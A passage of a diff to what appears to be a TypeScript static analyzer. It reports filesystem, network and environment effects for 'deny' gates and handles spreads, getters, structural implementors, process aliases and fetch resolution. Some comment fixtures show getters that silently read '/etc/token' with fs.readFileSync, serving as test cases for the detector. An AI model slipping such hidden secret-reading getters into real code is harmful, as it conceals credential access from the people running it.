+ // Climb through a well-known-global `Object.assign` call, or a single-type-parameter `T -> T` wrapper
4158
+ // whose body is a PROVEN identity return (see `isProvenIdentityReturn`), to the CONTEXTUAL TYPE of the
4159
+ // position the merged/wrapped value actually lands in. Plain `getContextualType` on the argument itself
4160
+ // resolves to an anonymous inferred shape (`__object`) — MEASURED (see the probe this fix was built
4161
+ // from) — not the interface the caller is really assigning into. Bounded depth guards a pathological
4162
+ // chain of calls.
4163
+ function contextualInterfaceDeclsFor(node, depth = 0) {
4164
+ let ct; try { ct = checker.getContextualType(node); } catch { ct = undefined; }
4165
+ const direct = localInterfaceDeclsOfType(ct);
4166
+ if (direct.length || depth >= 4) return direct;
4167
+ const p = node.parent;
4168
+ if (!p || !ts.isCallExpression(p) || !(p.arguments ?? []).includes(node)) return direct;
4169
+ const calleeText = p.expression.getText().replace(/\s+/g, "");
4170
+ if (calleeText === "Object.assign") return contextualInterfaceDeclsFor(p, depth + 1);
4171
+ let sig; try { sig = checker.getResolvedSignature(p); } catch { sig = undefined; }
4172
+ const decl = sig?.getDeclaration?.();
4173
+ if (decl && decl.typeParameters?.length === 1) {
4174
+ const tpName = decl.typeParameters[0].name.getText();
4175
+ const idx = p.arguments.indexOf(node);
4176
+ if (decl.type?.getText() === tpName && decl.parameters?.[idx]?.type?.getText() === tpName
4177
+ && isProvenIdentityReturn(decl, idx))
4178
+ return contextualInterfaceDeclsFor(p, depth + 1);
4179
+ }
4180
+ return direct;
4181
+ }
4182
+ // Mint (or ALIAS to an existing unit) every member of a structural implementor `container`
4183
+ // (ObjectLiteralExpression's `.properties` or a ClassExpression's `.members` — both walked generically,
4184
+ // same shape as the nominal branch's own `cls.members`). Position-keyed, like `decoratorArgUnit` /
4185
+ // `staticBlockUnit` above — two structural implementors in one file must not collide.
4186
+ function mintStructuralMembers(container) {
4187
+ const sf = container.getSourceFile();
4188
+ const mod = moduleOf(sf);
4189
+ const members = container.properties ?? container.members ?? [];
4190
+ for (const prop of members) {
4191
+ if (nodeName.has(prop)) continue; // already minted/aliased (shared members across two matched interfaces)
4192
+ const name = prop.name?.getText?.();
4193
+ if (!name || ts.isComputedPropertyName(prop.name)) continue; // computed key — never guess
4194
+ // Method shorthand (object literal `go(){…}` OR class-expression `go(){…}`) — a real body, own unit.
4195
+ if (ts.isMethodDeclaration(prop) && prop.body) {
4196
+ mintPositionalStructuralUnit(mod, sf, prop, name);
4197
+ continue;
4198
+ }
4199
+ // `go: <expr>` (PropertyAssignment) / `go = <expr>` (class-expression field).
4200
+ const init = (ts.isPropertyAssignment(prop) || ts.isPropertyDeclaration(prop)) ? prop.initializer : null;
4201
+ if (!init) continue; // a body-less abstract/declare member — nothing to mint, nothing to alias
4202
+ if (ts.isArrowFunction(init) || ts.isFunctionExpression(init)) {
4203
+ mintPositionalStructuralUnit(mod, sf, prop, name);
4204
+ continue;
4205
+ }
4206
+ // `go: other.method.bind(other)` / `go: other.method` — this is the SAME reflective-invoke reference
4207
+ // shape the HOF-ref arm already resolves; reuse it rather than inventing a second unit for a function
4208
+ // that already has one. A `.bind()` whose receiver can't be pinned, or any other expression (a call
4209
+ // result, a conditional, an opaque holder), is left UNRESOLVED — `nodeName.has(prop)` stays false, so
4210
+ // the dispatch site's `allResolved` gate reads this implementor as incomplete and forces Unknown: the
4211
+ // disjunction's (b) arm, never silence.
4212
+ const bound = unwrapBind(init);
4213
+ const ref = bound ? bound.ref : ((ts.isIdentifier(init) || ts.isPropertyAccessExpression(init)) ? init : null);
4214
+ if (ref) {
4215
+ const d = realDecl(checker.getSymbolAtLocation(ref));
4216
+ const target = (d && nodeName.get(d)) || resolveFnRefUnit(ref);
4217
+ if (target) nodeName.set(prop, target);
4218
+ }
4219
+ }
4220
+ }
4221
+ function mintPositionalStructuralUnit(mod, sf, prop, name) {
4222
+ const qual = `${mod}.<structural>@${prop.getStart()}.${name}`;
4223
+ if (!fns.has(qual)) {
4224
+ const { line, character } = sf.getLineAndCharacterOfPosition(prop.getStart());
4225
+ fns.set(qual, { local: `<structural>.${name}`, direct: new Set(), fsKinds: new Set(), edges: new Set(),
4226
+ hosts: new Set(), tables: new Set(), cmds: new Set(), paths: new Set(), blind: new Set(),
4227
+ incomplete: new Set(), why: new Set(), entry: false,
4228
+ loc: `${path.relative(rootDir, sf.fileName)}:${line + 1}:${character + 1}`,
4229
+ endLine: sf.getLineAndCharacterOfPosition(prop.getEnd()).line + 1 });
4230
+ }
4231
+ nodeName.set(prop, qual);
4232
+ }
4233
+ for (const sf of sources) {
4234
+ (function walkStructural(node) {
4235
+ // An EMPTY object literal (`Object.assign({}, source)`'s target arg is the common real-world
4236
+ // shape) has no property to ever complete a dispatch with, and registering it as a candidate only
4237
+ // forces needless conservatism (every OTHER implementor resolving, this one never can, so the
4238
+ // dispatch falls back to disclosed-Unknown for no reason). Skip it: nothing is lost, since it can
4239
+ // never structurally satisfy an interface with any member on its own.
4240
+ if (ts.isObjectLiteralExpression(node) && node.properties.length > 0) {
4241
+ const decls = contextualInterfaceDeclsFor(node);
4242
+ if (decls.length) {
4243
+ for (const d of decls) registerStructuralImpl(d, node);
4244
+ mintStructuralMembers(node);
4245
+ }
4246
+ } else if (ts.isClassExpression(node)) {
4247
+ // Explicit `implements` on an anonymous/named class EXPRESSION — the nominal branch above only
4248
+ // ever visits `ts.isClassDeclaration`, so `held = new (class implements Task { go(){…} })()`
4249
+ // registered nowhere at all (not even as a candidate, unlike the object-literal shape) and its
4250
+ // methods were never minted units either (`localName`'s method branch requires a ClassDeclaration
4251
+ // parent). Reuse the SAME climb/registration and member-minting as the object-literal shape.
4252
+ let registeredAny = false;
4253
+ for (const h of node.heritageClauses ?? []) {
4254
+ if (h.token !== ts.SyntaxKind.ImplementsKeyword) continue;
4255
+ for (const t of h.types) {
4256
+ let sym; try { sym = checker.getSymbolAtLocation(t.expression); } catch { sym = undefined; }
4257
+ const tgt = sym && sym.flags & ts.SymbolFlags.Alias ? checker.getAliasedSymbol(sym) : sym;
4258
+ for (const d of tgt?.declarations ?? [])
4259
+ if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName))) {
4260
+ registerStructuralImpl(d, node);
4261
+ registeredAny = true;
4262
+ }
4263
+ }
4264
+ }
4265
+ if (registeredAny) mintStructuralMembers(node);
4266
+ }
4267
+ ts.forEachChild(node, walkStructural);
4268
+ })(sf);
4269
+ }
4270
+
3834
4271
  // Accessor resolution (the silent-pure-accessor fix): a property READ (`x.raw`) or property
3835
4272
  // ASSIGNMENT target (`x.path = v`) may resolve to a getter/setter whose body performs effects. We
3836
4273
  // resolve the property-name symbol to its declarations and look for an accessor of the matching
@@ -3910,11 +4347,122 @@ function recordAccessorHit(owner, hit, label) {
3910
4347
  // invisible to the property-access arm (no PropertyAccess node per key). Edge `owner` to every LOCAL
3911
4348
  // getter on the source type. A rest/spread can't name one key, so ALL getters are enumerated (sound
3912
4349
  // over-approximation); a plain prop resolves to no accessor and adds nothing (no fabrication).
3913
- function enumerateGetters(owner, type) {
3914
- if (!owner || !type || !type.getProperties) return;
3915
- for (const p of type.getProperties()) {
3916
- const hit = accessorFromSym(p, "get");
3917
- if (hit) recordAccessorHit(owner, hit, p.getName());
4350
+ //
4351
+ // R115 — AND "OWN ENUMERABLE" IS THE HALF THE BODY DID NOT APPLY, so this fabricated on every class.
4352
+ // `type.getProperties()` returns the INHERITED prototype surface, and a `class C { get token() {…} }`
4353
+ // accessor is installed on `C.prototype` and NON-enumerable — so spread/assign/rest never copy it and
4354
+ // never call it. EXECUTED, node 22.12.0, counting getter invocations:
4355
+ //
4356
+ // {...c} 0 Object.assign({},c) 0 const {...r}=c 0 {...new Sub()} 0 (Sub extends Base)
4357
+ // {...objectLiteral} 1 const {tok}=c 1 c.tok 1 {...Object.create(protoWithGetter)} 0
4358
+ //
4359
+ // export class Session { id = 1; get token(){ return fs.readFileSync("/etc/token","utf8"); } }
4360
+ // export function clone(s: Session) { return { ...s }; }
4361
+ //
4362
+ // before: src.a.clone ['Fs'] `deny Fs` -> exit 1 executed: {"copied":{"id":1},"calls":0}
4363
+ // after: src.a.clone absent `deny Fs` -> exit 0
4364
+ //
4365
+ // A FALSE POSITIVE, not a miss — it fails a gate on a function that performs nothing, and the whole
4366
+ // value of a `deny` gate is that a red one means something.
4367
+ //
4368
+ // NARROWED AS A DENYLIST, per the family rule: the exclusion fires ONLY for an accessor whose every
4369
+ // get-declaration sits directly in a `class` body (ClassDeclaration/ClassExpression), which is provably
4370
+ // prototype-installed. An INTERFACE or TYPE-LITERAL `get token(): string` stays charged, because the
4371
+ // runtime object behind that type may be an object literal, whose getter IS own+enumerable and DOES
4372
+ // fire. `every`, not `find`: a union/intersection property symbol carries declarations from each
4373
+ // constituent, and `Session | { get token(): string }` must stay charged on the strength of its
4374
+ // object-literal arm (measured — `src.b.cloneUnion` keeps `Fs`).
4375
+ //
4376
+ // `JSON.stringify(c)` and `Object.entries(c)` STAYING PURE IS CORRECT and is not this fix: both read
4377
+ // own enumerable props too (executed: 0 invocations on a class instance), and neither is enumerated
4378
+ // here in the first place.
4379
+ //
4380
+ // THE HOLE THIS OPENS IS REAL, MEASURED, AND HALF-CLOSED BELOW, not asserted away. TypeScript is
4381
+ // STRUCTURAL, so a value whose static type is a class can be an object literal with an OWN enumerable
4382
+ // getter — executed, `{...structural}` invokes it once:
4383
+ //
4384
+ // export const structural: Session = { id: 1, get token(){ return fs.readFileSync("/etc/s","utf8"); } };
4385
+ //
4386
+ // The `srcExpr` arm below resolves the spread source through its BINDING to an object-literal
4387
+ // initializer and enumerates THAT literal's accessors, so this spelling stays charged. It is a
4388
+ // widening — it can only add — so it cannot itself hide anything.
4389
+ //
4390
+ // R120 — AND THE SENTENCE THAT USED TO FOLLOW WAS FALSE, WHICH IS THE §E2 SHAPE EXACTLY. It read
4391
+ // "what it does NOT reach is a structural literal arriving through a PARAMETER or a call return",
4392
+ // i.e. it stated the residual as a closed list of two. The arm's first cut required `srcExpr` to be a
4393
+ // bare Identifier and read `getSymbolAtLocation(srcExpr).declarations` WITHOUT following an alias, so
4394
+ // FOUR more spellings fell out of it — and the first of them is the one the paragraph implicitly
4395
+ // promised, a plain `const` binding reached across a MODULE. Measured at e5c60bc by PRINTING the
4396
+ // resolved declaration at the point the arm fires, never by reading the code:
4397
+ //
4398
+ // src=src/a.ts:4 owner=src.a.clone srcExprKind=Identifier text="structural"
4399
+ // symDecls =["ImportSpecifier@src/a.ts:1"] ← what the arm looked at
4400
+ // aliasedDecls =["VariableDeclaration@src/lib.ts:8 init=ObjectLiteral"] ← what it needed
4401
+ //
4402
+ // 1. `import { structural } from "./lib"; {...structural}` → the symbol is an ALIAS; its own
4403
+ // declaration is the ImportSpecifier, so the VariableDeclaration test failed and the row went
4404
+ // ABSENT. `deny Fs src.a.clone` exited 0 over a spread that invokes an fs-reading getter. A
4405
+ // SILENT UNDER-REPORT, and it is the shape any multi-file project has.
4406
+ // 2. `const o = { get k(){…} } as Session` → initializer is an AsExpression, not a literal.
4407
+ // 3. `const o = ({ get k(){…} })` → initializer is a ParenthesizedExpression.
4408
+ // 4. `{...(structural)}` / `{...(o as T)}` / `{...o!}` → srcExpr is not an Identifier at all.
4409
+ //
4410
+ // `const o = {…} satisfies Session` is a FIFTH spelling of the same question that the arm also misses,
4411
+ // and it is charged anyway — `satisfies` keeps the literal's own type, so its getter declaration sits
4412
+ // in an ObjectLiteralExpression and `classBodiedGetter` never excludes it. Covered by a different
4413
+ // mechanism, so it is a control here rather than a fix: two paths answering one question is exactly
4414
+ // the R109/R110/R111 shape, and their agreement is not evidence.
4415
+ //
4416
+ // All four are closed by UNWRAPPING and ASKING THE ALIAS (§G — the checker already knows), and every
4417
+ // one of them is a WIDENING: it can only add accessor hits, never remove one, so the direction it
4418
+ // fails in is over-charge, not silence.
4419
+ //
4420
+ // WHAT IS STILL NOT REACHED, stated as the open list it is rather than a closed one: a structural
4421
+ // literal arriving through a PARAMETER, through a call return, or through a PROPERTY ACCESS
4422
+ // (`{...holder.inner}`, `{...this.o}`) — none has a binding whose initializer this can read. All three
4423
+ // are pinned by fixtures asserting today's (wrong) answer, so closing one shows up as an expectation
4424
+ // that changed. Before R115 those spellings were charged only by COINCIDENCE — the class accessor's
4425
+ // effects were reported in place of the literal's, which is the right verdict off the wrong evidence.
4426
+ function classBodiedGetter(sym) {
4427
+ const decls = (sym?.declarations ?? []).filter((d) => ts.isGetAccessorDeclaration(d));
4428
+ return decls.length > 0 && decls.every((d) => ts.isClassDeclaration(d.parent) || ts.isClassExpression(d.parent));
4429
+ }
4430
+ function enumerateGetters(owner, type, srcExpr) {
4431
+ if (!owner) return;
4432
+ if (type && type.getProperties) {
4433
+ for (const p of type.getProperties()) {
4434
+ if (classBodiedGetter(p)) continue; // prototype + non-enumerable → not copied by a spread
4435
+ const hit = accessorFromSym(p, "get");
4436
+ if (hit) recordAccessorHit(owner, hit, p.getName());
4437
+ }
4438
+ }
4439
+ // The structural arm: `const o: SomeClass = { get k(){…} }` — the BINDING's initializer is an object
4440
+ // literal, so its accessors are own+enumerable and the copy DOES invoke them, whatever the annotation
4441
+ // says. Follows a plain binding only (one hop, no calls, no conditionals); adds, never removes.
4442
+ //
4443
+ // R120 — THREE UNWRAPS AND ONE ALIAS HOP, because the question is which OBJECT is being copied and
4444
+ // none of these four wrappers changes that answer. Each is a spelling measured absent at e5c60bc.
4445
+ let se = srcExpr;
4446
+ while (se && (ts.isParenthesizedExpression(se) || ts.isAsExpression(se)
4447
+ || ts.isSatisfiesExpression(se) || ts.isNonNullExpression(se))) se = se.expression;
4448
+ if (!se || !ts.isIdentifier(se)) return; // parameter / call return / member
4449
+ let sym0 = checker.getSymbolAtLocation(se);
4450
+ if (!sym0) return;
4451
+ // An IMPORTED binding's own declaration is the ImportSpecifier/ImportClause, never the `const` that
4452
+ // holds the literal — so without this hop every cross-module spread read the alias and gave up. This
4453
+ // is the same `getAliasedSymbol` call the fetch import arm already makes for the same reason.
4454
+ if (sym0.flags & ts.SymbolFlags.Alias) { try { sym0 = checker.getAliasedSymbol(sym0) ?? sym0; } catch { /* unresolved import */ } }
4455
+ for (const d of sym0.declarations ?? []) {
4456
+ if (!ts.isVariableDeclaration(d) || !d.initializer) continue;
4457
+ let init = d.initializer;
4458
+ while (ts.isParenthesizedExpression(init) || ts.isAsExpression(init)
4459
+ || ts.isSatisfiesExpression(init) || ts.isNonNullExpression(init)) init = init.expression;
4460
+ if (!ts.isObjectLiteralExpression(init)) continue;
4461
+ for (const pr of init.properties) {
4462
+ if (!ts.isGetAccessorDeclaration(pr)) continue;
4463
+ const nm = pr.name?.getText?.() ?? "?";
4464
+ recordAccessorHit(owner, { decl: pr, local: projectFiles.has(path.resolve(pr.getSourceFile().fileName)) }, nm);
4465
+ }
3918
4466
  }
3919
4467
  }
3920
4468
 
@@ -4312,11 +4860,15 @@ const dispatchWhy = (qualifiedOwner, member) =>
4312
4860
  // or the dependency's own report already answered by omission — SPEC §2 rule 3) — never a fourth,
4313
4861
  // unexamined silent case. Called directly for a resolved external CallExpression too (see the CLASSIFY
4314
4862
  // arm and the tagged-template arm) so the whole family shares one implementation.
4315
- function disclosureTail(rec, decl, pkg, file) {
4863
+ // ⟨R137⟩ `member` is the SAME token κ was asked with at the caller, threaded rather than re-derived
4864
+ // here: the ledger's question is "did κ cover THIS call", and re-deriving the member from `decl` would
4865
+ // be a second spelling of it that could drift from the first (§G — where two paths compute one fact,
4866
+ // make them disagree; better still, do not have two).
4867
+ function disclosureTail(rec, decl, pkg, file, member) {
4316
4868
  const declared = packageManifestEffects(file);
4317
4869
  if (declared !== null) { for (const e of declared) rec.direct.add(e); return; } // [] = declared pure
4318
4870
  const abstraction = unanswerableKey(decl);
4319
- if (!kappaKnows(pkg) && !depCoveredPkgs.has(pkg) && crossesPackageBoundary(file)) {
4871
+ if (!kappaKnows(pkg, member) && !depCoveredPkgs.has(pkg) && crossesPackageBoundary(file)) {
4320
4872
  unlistedSeen.set(pkg, (unlistedSeen.get(pkg) ?? 0) + 1);
4321
4873
  rec.blind.add(pkg);
4322
4874
  // ⟨0.21⟩ A package chained ONLY by a SELF-DECLARED-INCOMPLETE report reaches this arm because its
@@ -4371,7 +4923,7 @@ function chargeExternalDecl(rec, decl, tailOverride) {
4371
4923
  : member && ((owner ? crossDeps.get(`${pkg}#${owner}.${member}`) : undefined)
4372
4924
  ?? crossDeps.get(`${pkg}#${member}`));
4373
4925
  if (hit) { applyDepHit(rec, hit); return; }
4374
- disclosureTail(rec, decl, pkg, decl.getSourceFile().fileName);
4926
+ disclosureTail(rec, decl, pkg, decl.getSourceFile().fileName, member);
4375
4927
  }
4376
4928
 
4377
4929
  // ---- implicit VALUE-COERCION desugaring (the silent-pure holes where the JS coercion protocol calls a
@@ -4394,10 +4946,28 @@ function isCoercionMemberDecl(m) {
4394
4946
  || ts.isPropertyDeclaration(m) || ts.isPropertyAssignment(m)
4395
4947
  || ts.isFunctionDeclaration(m) || ts.isFunctionExpression(m) || ts.isArrowFunction(m));
4396
4948
  }
4397
- // Find member `name` declared on LOCAL class `cls` or the nearest local ancestor that declares it.
4949
+ // Find member `name` declared on LOCAL class/structural-implementor `cls` or the nearest local ancestor
4950
+ // that declares it. `cls` comes from `coercionChaClasses`, which (since PART 87) reads the SAME
4951
+ // `interfaceImpls` registry the ordinary interface-CHA dispatch site reads — and that registry now holds
4952
+ // structural implementors (`ObjectLiteralExpression`, `.properties`) alongside nominal classes
4953
+ // (`ClassDeclaration`/`ClassExpression`, `.members`), never guaranteed to be one shape.
4954
+ //
4955
+ // ⟨CARDINAL SIN FIX, coercion-CHA structural gap⟩ this used to read only `cur.members`, so a structural
4956
+ // implementor's `.properties` was invisible: `(undefined ?? []).find(...)` always empty, never a match,
4957
+ // never a crash — "degrades gracefully" in the sense of not throwing, but it silently dropped every
4958
+ // coercion member a structural implementor declared. MEASURED (candor-attack2, 2026-09-01): an interface
4959
+ // implemented ONLY structurally, with an effectful `toString`, coerced via a template literal — PRE-PART-
4960
+ // 87 this correctly charged `<module>` with Fs (the un-minted object-literal body was walked inline, as
4961
+ // part of whatever textually contained it); POST-PART-87 the SAME `toString` is extracted into its own
4962
+ // addressable unit by `mintStructuralMembers` (correct — it is no longer folded into an enclosing scope's
4963
+ // direct effects) but this function could never find it to edge to it, so the extraction cost the
4964
+ // disclosure it used to get for free and `<module>`/`stringify` both vanished from `functions[]` PURE.
4965
+ // The general interface-CHA dispatch site already has the fix's own shape for this (`cls.members ??
4966
+ // cls.properties ?? []`, its own PART 87 comment) — this mirrors it rather than inventing a second rule.
4398
4967
  function localClassMember(cls, name) {
4399
4968
  for (let cur = cls, guard = 0; cur && guard++ < 64; cur = localBaseClassOf(cur)) {
4400
- const m = (cur.members ?? []).find((x) => x.name?.getText?.() === name && isCoercionMemberDecl(x));
4969
+ const memberNodes = cur.members ?? cur.properties ?? [];
4970
+ const m = memberNodes.find((x) => x.name?.getText?.() === name && isCoercionMemberDecl(x));
4401
4971
  if (m && declIsLocal(m)) return m;
4402
4972
  }
4403
4973
  return null;
@@ -4834,6 +5404,15 @@ const declImportsNodeProcess = (decl) => {
4834
5404
  const text = spec && ts.isStringLiteral(spec) ? spec.text : null;
4835
5405
  return text === "node:process" || text === "process";
4836
5406
  };
5407
+ // R93: a local SYMBOL that merely HOLDS the global process object — `const p = globalThis.process`,
5408
+ // `const { process } = globalThis as any` — was indistinguishable from a project-local `process` shadow,
5409
+ // because both have their OWN declaration inside a project file, and that was the entire test below for
5410
+ // "is this the ambient global". Reaching the object through a variable does not change its identity;
5411
+ // `identIsGlobalProcess` must not treat it as if it did. `processAliasSymbols` is the single authority
5412
+ // both the bare-identifier check below AND the `{env} = process` destructure detection already
5413
+ // downstream consult — the fix in one place, per brief §F1 item 3 ("make the two paths share one
5414
+ // authority", not patch the losing copy). Populated by the pre-pass immediately below.
5415
+ const processAliasSymbols = new Set();
4837
5416
  const identIsGlobalProcess = (id) => {
4838
5417
  if (!id) return false;
4839
5418
  // `globalThis.process` / `global.process` — the SAME process object reached off the global (isomorphic code:
@@ -4847,11 +5426,60 @@ const identIsGlobalProcess = (id) => {
4847
5426
  return !gd.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
4848
5427
  }
4849
5428
  }
4850
- if (!ts.isIdentifier(id) || id.text !== "process") return false;
4851
- const decls = checker.getSymbolAtLocation(id)?.declarations ?? [];
4852
- if (decls.some(declImportsNodeProcess)) return true; // `import process from 'node:process'`
4853
- return !decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName))); // else the ambient global
5429
+ if (!ts.isIdentifier(id)) return false;
5430
+ if (id.text === "process") {
5431
+ const decls = checker.getSymbolAtLocation(id)?.declarations ?? [];
5432
+ if (decls.some(declImportsNodeProcess)) return true; // `import process from 'node:process'`
5433
+ if (!decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)))) return true; // ambient global
5434
+ }
5435
+ // A local binding under ANY name (`p`, `process`, whatever) whose sole initializer is confirmed —
5436
+ // by the pre-pass below — to be the global process object itself.
5437
+ const sym = checker.getSymbolAtLocation(id);
5438
+ return !!sym && processAliasSymbols.has(sym);
4854
5439
  };
5440
+ // Pre-pass: a variable is a process alias iff EITHER (a) a plain identifier bound `= globalThis.process`
5441
+ // / `= global.process` / `= process` (bare, ambient — casts/parens/`!` unwrapped), or (b) an object
5442
+ // destructure that picks `process` (by property name, any local alias — `{ process }` or
5443
+ // `{ process: p }`) directly off an ambient `globalThis`/`global` root. No reassignment-clearing here
5444
+ // (unlike envAliasSymbols): a `let` rebound to something else is a narrowing this pass does not attempt,
5445
+ // so it is conservative in the SAFE direction only if downstream never mutates a `const`-only signal —
5446
+ // callers only ever declare these `const` in practice; a `let` reassigned away still resolves any READ
5447
+ // before the reassignment correctly and any read after it would need flow-sensitivity this class of
5448
+ // alias-set does not have anywhere else in this file either (see envAliasSymbols for the same posture).
5449
+ {
5450
+ const isGlobalProcessInitializer = (expr) => {
5451
+ if (!expr) return false;
5452
+ let e = expr;
5453
+ while (ts.isParenthesizedExpression(e) || ts.isAsExpression(e) || ts.isNonNullExpression(e)) e = e.expression;
5454
+ return identIsGlobalProcess(e); // handles `globalThis.process` / `global.process` / bare ambient `process`
5455
+ };
5456
+ const collectProcessAliases = (node) => {
5457
+ if (ts.isVariableDeclaration(node) && node.name && ts.isIdentifier(node.name) && node.initializer) {
5458
+ if (isGlobalProcessInitializer(node.initializer)) {
5459
+ const sym = checker.getSymbolAtLocation(node.name);
5460
+ if (sym) processAliasSymbols.add(sym);
5461
+ }
5462
+ } else if (ts.isVariableDeclaration(node) && node.name && ts.isObjectBindingPattern(node.name) && node.initializer) {
5463
+ let root = node.initializer;
5464
+ while (ts.isParenthesizedExpression(root) || ts.isAsExpression(root) || ts.isNonNullExpression(root)) root = root.expression;
5465
+ if (ts.isIdentifier(root) && (root.text === "globalThis" || root.text === "global")) {
5466
+ const gd = checker.getSymbolAtLocation(root)?.declarations ?? [];
5467
+ if (!gd.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)))) {
5468
+ for (const el of node.name.elements) {
5469
+ const propName = el.propertyName ? (ts.isIdentifier(el.propertyName) ? el.propertyName.text : null)
5470
+ : (ts.isIdentifier(el.name) ? el.name.text : null);
5471
+ if (propName === "process" && ts.isIdentifier(el.name)) {
5472
+ const sym = checker.getSymbolAtLocation(el.name);
5473
+ if (sym) processAliasSymbols.add(sym);
5474
+ }
5475
+ }
5476
+ }
5477
+ }
5478
+ }
5479
+ ts.forEachChild(node, collectProcessAliases);
5480
+ };
5481
+ for (const sf of sources) collectProcessAliases(sf);
5482
+ }
4855
5483
  // `process.env` as an expression (PropertyAccess `process.env` where `process` is the global).
4856
5484
  const isProcessEnvExpr = (expr) =>
4857
5485
  expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "env" && identIsGlobalProcess(expr.expression);
@@ -4958,6 +5586,130 @@ const envTouchingBuiltinCall = (node) => {
4958
5586
  return false;
4959
5587
  };
4960
5588
 
5589
+ /** ⟨R95⟩ Does this CALL reach the host's `fetch`, whatever the callee is spelled as?
5590
+ *
5591
+ * The declaration-keyed twin of the callee-keyed guards in the global classifier (see the arm that uses
5592
+ * it for the five spellings those guards missed). Four conditions, each one load-bearing:
5593
+ *
5594
+ * 1. AMBIENT FUNCTION NAMED `fetch`. The host's fetch is a bodyless `function fetch` declaration:
5595
+ * `@types/node`'s `web-globals/fetch.d.ts` inside its `declare global` block (what `types: ["node"]`
5596
+ * supplies, so the common case), lib.dom's `declare function fetch`, or an older @types/node's
5597
+ * `globals.d.ts`. Keying on the FILE would have to enumerate those three and would go stale with the
5598
+ * next @types/node layout — this shape does not.
5599
+ * THE `d.body` HALF IS A SCOPE STATEMENT, NOT A PROVEN GUARANTEE, and is written down as the
5600
+ * assumption it is: it keeps this arm off DEPENDENCY IMPLEMENTATIONS, where "returns
5601
+ * `Promise<Response>`" is a weak signal (a pure `function fetch(u) { return new Response(u) }` has
5602
+ * that exact type), leaving those to the import arm above and the κ/invisible channel that already
5603
+ * own them. No fixture drives it: every dep-source shape tried was already charged Net by an
5604
+ * earlier arm, so deleting it changed nothing measurable. Narrower than the alternative, which is
5605
+ * the side to be wrong on here.
5606
+ * 2. NOT A PROJECT FILE. A project's own `fetch` shadow must never fabricate Net — control 3, and the
5607
+ * same test every arm above makes.
5608
+ * 3. THE RESOLVED DECLARATION IS A GLOBAL, unless it crosses a package boundary. ⟨R121 — THIS
5609
+ * REPLACES A GUARD THAT WAS WRONG IN BOTH DIRECTIONS AT ONCE.⟩ The guard here used to ask whether
5610
+ * the CALLEE'S HEAD IDENTIFIER came from a RELATIVE import, and both halves of that failed:
5611
+ *
5612
+ * FABRICATION — one binding hop erases the import from the head identifier, so a project-owned
5613
+ * shim was charged Net. MEASURED at 30fc8ea by PRINTING the resolved declaration, not by reading
5614
+ * the code, over a `vendor/shim.ts` whose implementation returns a canned Response and touches
5615
+ * nothing (`export function fetch(u): Promise<Response>;` × 2 overloads + a pure body):
5616
+ *
5617
+ * const { fetch } = shimNamespace; fetch(u) head=BindingElement → Net FABRICATED
5618
+ * const { fetch } = shimDefault; fetch(u) head=BindingElement → Net FABRICATED
5619
+ * const f = shim.fetch; f(u) head=VariableDeclaration→ Net FABRICATED
5620
+ * const s = shim; s.fetch(u) head=VariableDeclaration→ Net FABRICATED
5621
+ * import * as shim from "./shim"; shim.fetch(u) head=NamespaceImport → absent (guard held)
5622
+ *
5623
+ * and every one of those four printed `RESOLVED_DECL=vendor/shim.ts:1`. So the arm was NOT
5624
+ * "treating a local shim as the host global" — it never asked. It read four proxies for the
5625
+ * host's identity and a project's own OVERLOAD SIGNATURE satisfies three of them (bodyless,
5626
+ * named `fetch`, `Promise<Response>`), with the fourth defeated by the hop.
5627
+ *
5628
+ * SILENCE — the head identifier is not always the fetch value. `slot.fetch(u)`, where
5629
+ * `slot` is relatively imported and `slot = { fetch: globalThis.fetch }`, has head `slot`, so
5630
+ * the old guard rejected on an import that says nothing about which function is being called:
5631
+ * the REAL host fetch, ABSENT, `deny Net` exit 0. Its sibling spelling `const { fetch } = slot`
5632
+ * was charged Net in the same file — one value, two answers, selected by punctuation.
5633
+ *
5634
+ * ASK THE AUTHORITY INSTEAD (§G). The host's `fetch` is a GLOBAL declaration and nothing else is:
5635
+ * it sits inside a `declare global` block (`@types/node/web-globals/fetch.d.ts:23`, printed) or at
5636
+ * the top level of a non-module lib file (lib.dom's `declare function fetch`, printed). A module's
5637
+ * `export function fetch` is reachable only by importing it, so it is never the host global — no
5638
+ * matter where its file lives, whether the scan included it, or how the callee is spelled.
5639
+ * THE DEPENDENCY ESCAPE IS LOAD-BEARING AND IS THE DIRECTION THIS GUARD FAILS IN: a real
5640
+ * DEPENDENCY exports `fetch` module-scoped too (`import * as nf from "node-fetch-native";
5641
+ * const { fetch } = nf; fetch(u)` — the import arm above only sees the direct spelling, so this arm
5642
+ * is the only thing charging the hop). Without the escape that call goes SILENT, so the exclusion
5643
+ * is a DENYLIST of one provable shape — module-scoped AND not reached as a dependency — never an
5644
+ * allowlist of the host's file paths, which would go stale with the next @types/node layout.
5645
+ *
5646
+ * ⟨R138 — THE ESCAPE WAS SPELLED `crossesPackageBoundary` AND THAT ASKED THE WRONG QUESTION.⟩
5647
+ * `crossesPackageBoundary` asks whether some OTHER `package.json` sits above the declaration's
5648
+ * file: a question about the FILESYSTEM. What this arm needs is whether the declaration was
5649
+ * reached AS A DEPENDENCY — a question about the MODULE SPECIFIER, which is the property R95's
5650
+ * guard promised ("the specifier decides, not file-set membership") and which keying on the
5651
+ * filesystem quietly dropped. MEASURED over two trees differing by exactly one one-line file:
5652
+ *
5653
+ * src/main.ts import { fetch } from "../vendor/shim"; fetch(u) e5c60bc HEAD
5654
+ * with vendor/package.json inferred [] ["Net"]
5655
+ * without it inferred [] []
5656
+ *
5657
+ * — one value, two answers, selected by a `{"type":"module"}` marker. EXECUTED against a real
5658
+ * 127.0.0.1 listener: the shim's `fetch` delivers 0 requests and opens 0 TCP connections in both
5659
+ * spellings, while the host's own `fetch` to the same listener in the same process counted 1 and 1.
5660
+ *
5661
+ * ASK THE AUTHORITY, AGAIN (§G). TypeScript's module resolution already recorded the answer:
5662
+ * `program.isSourceFileFromExternalLibrary` is true exactly when a file was reached through node
5663
+ * module resolution rather than a relative path. PRINTED at this arm before the code was written:
5664
+ * `vendor/shim.d.ts` via `../vendor/shim` is FALSE with and without the stray package.json, and a
5665
+ * workspace package's `dist/index.d.ts` reached as `@mono/mock` through a symlink is TRUE even
5666
+ * though its real path has no `node_modules/` segment — which is exactly why the authority here is
5667
